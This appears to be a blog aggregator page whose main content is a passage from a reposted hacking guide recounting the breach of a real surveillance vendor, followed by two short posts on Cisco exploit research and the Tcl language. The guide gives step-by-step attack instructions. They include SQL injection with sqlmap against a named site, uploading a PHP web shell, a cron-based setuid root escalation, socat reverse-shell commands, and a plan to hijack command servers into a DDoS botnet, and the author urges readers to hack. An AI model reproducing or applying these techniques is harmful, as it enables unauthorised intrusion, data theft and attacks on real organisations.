surface that you are able to map out, the easier it will be to find a hole
somewhere in it.

--[ 4 ]-- Scanning & Exploiting

Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.

Now for each service you find running:

1) Is it exposing something it shouldn't? Sometimes companies will have services
running that require no authentication and just assume it's safe because the url
or IP to access it isn't public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.

2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
default password.

3) Is it running an old version of software vulnerable to a public exploit?

Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:

1) Browse them. Especially on subdomains that fierce finds which aren't intended
for public viewing like test.company.com or dev.company.com you'll often find
interesting stuff just by looking at them.

2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.

3) Identify what software is being used on the website. WhatWeb is useful [1]

4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].

First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it's time to move
on to finding a new vulnerability:

5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.

6) For the non-custom software they're running, get a copy to look at. If it's
free software you can just download it. If it's proprietary you can usually
pirate it. If it's proprietary and obscure enough that you can't pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that's easier to hack, and get a copy from them.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/

For finsupport.finfisher.com the process was:

* Start nikto running in the background.

* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.

* See if WhatWeb knows anything about what software the site is running.

* WhatWeb doesn't recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.

* I view the page source to find a URL I can search on (index.php isn't
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:"Scripts/scripts.js.php"

* I find there's a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.

At this point I can see the news stories that journalists will write to drum
up views: "In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group..."

But it's really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:

* google allinurl:"Scripts/scripts.js.php" and find the other sites

* Notice they're all sql injectable in the first url parameter I try.

* Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
the option --tamper='tamper/modsecurityversioned.py'

* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website's source code.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
javascript, and if you're unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.

[0] http://www.dvwa.co.uk/

Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
sqli (it's nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it's
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap --file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.

Looking through the source, I see customers can attach a file to their support
tickets, and there's no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I'm in!

--[ 5 ]-- (fail at) Escalating

___________
< got r00t? >
-----------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
^^^^^^^^^^^^^^^^

Root over 50% of linux servers you encounter in the wild with two easy scripts,
Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer

so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

wait an hour, and ....nothing. Turns out that while the cron process is running
it doesn't seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn't update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that's probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn't get much of anything new, so I move
on to the rest of the network.

--[ 6 ]-- Pivoting

The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.

The only interesting thing I could get on finsupport's local network was another
webserver serving up a folder called 'qateam' containing their mobile malware.

--[ 7 ]-- Have Fun

Once you're in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there's no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.

It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!

--[ 8 ]-- Other Methods

The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There's no one right way, and any method that works is as good as
any other. The other main ways that I'll state without going into detail are:

1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don't
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There's also
metasploit browser autopwn, but you'll probably have better luck with no
exploits and a fake flash updater prompt.

2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: "Social Engineering". This is probably the way to go if you don't know
too much about computers, and it really is all it takes to be a successful
hacker [0].

[0] https://www.youtube.com/watch?v=DB6ywr9fngU

--[ 9 ]-- Resources

Links:

* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
(all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned
what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
Get usable reverse shells with a statically linked copy of socat to drop on
your target and:
target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
It's also useful for setting up weird pivots and all kinds of other stuff.

Books:

* The Web Application Hacker's Handbook
* Hacking: The Art of Exploitation
* The Database Hacker's Handbook
* The Art of Software Security Assessment
* A Bug Hunter's Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated

Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.

--[ 10 ]-- Outro

You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It's not selling hacking tools that makes Gamma evil. It's who their
customers are targeting and with what purpose that makes them evil. That's not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it's cheaper to attack than to defend it's harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.

Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!

Surprisingly straightforward isn’t it!

The odd paucity of Cisco exploit research

$
0
0

It’s a strange thing. I can find voluminous exploit research in books and online on every topic under the sun; on every platform, covering all manner of software and hardware, with the exception of Cisco.

If you do the research on Cisco, obviously there’s the routine announcements relating to recently reported vulnerabilities and patching and so forth, but very little on exploit techniques and mitigation relating to the Cisco IOS.

The above is not strictly true.

Around 2006 a book was published by Hacking Exposed focusing exclusively on Cisco and there are bits and pieces online, but they’re all from this same period. If you’re prepared to spend time mining information, you can find the odd obscure proof-of-concept underground piece on Tcl worms, backdoors, trojans, rootkits etc, relating to Cisco, but that’s it.

Obviously reverse-engineering Cisco is prohibited and so I appreciate the fact not many folk are going to risk publishing their endeavours.

One name comes up repeatedly in terms of Cisco vulnerabilities, exploits etc ,and that is FX. I featured a video of his on this blog, but even his published work seems to be based around the 2006/8 mark.

So, I thought who better to ask about this strange paucity of research than FX himself:

 

When you consider the importance of Cisco as a network hardware/software backbone; important enough for security agencies to allegedly intercept and implant covert firmware, this all seems very odd indeed.

Is Tcl programming language the best kept secret in hacking?

$
0
0

Actually the Tcl (Tool Command Language) developers website says: Many have called it the “best-kept secret in the software industry”. They also say:

Tcl (Tool Command Language) is a very powerful but easy to learn dynamic programming language, suitable for a very wide range of uses, including web and desktop applications, networking, administration, testing and many more. Open source and business-friendly, Tcl is a mature yet evolving language that is truly cross platform, easily deployed and highly extensible.

Interestingly, they add this comment:

It’s used by elite hackers, application programmers, system administrators, and scientists.

Tcl is probably best known for the Tk graphical user interface toolkit. In fact, I used Tkinter which is Python’s standard GUI based on Tcl/Tk to create a simple GUI for Python’s Cryptography Toolkit PyCrypto.

A less known fact however is that Tcl is extensively used in networking and is often embedded in networking equipment; most notably, Cisco.

As my obsession with all things Cisco and networking continuous unabated, I have become progressively interested of late in Tcl and its application in the world of network security and hacking.

Cursory Internet searches have thrown up intriguing Tcl uses such as creating back doors, trojans, rootkits, malware and worms within Cisco networking equipment. It’s also quite feasible to embed IOSMap code within the Tcl Shell of a compromised Cisco router which allows port scanning and probing further into the internal network itself.

I’ve been playing around with learning coding for some time, starting with Ruby, then Python, and more recently Java, and I’ve enjoyed the process and learnt loads, but to really get to grips with a language you need to use it. And therein lies the problem. I don’t really know what to do with these languages. I can’t think of anything.

But I will say that discovering Tcl whilst learning Cisco and networking has seriously fired up the neurons. So far the language intuitively fits the way I think perfectly, it’s the first time I’ve experienced feeling very comfortable with coding conventions from the get go.

I’ve got the Tcl 8.5 Network Programming book and a copy of TcL Scripting for Cisco IOS and will study these in conjunction with learning Cisco to see what fun I can have fusing the two.

I’ll let you know.

Viewing all 51 articles
Browse latest View live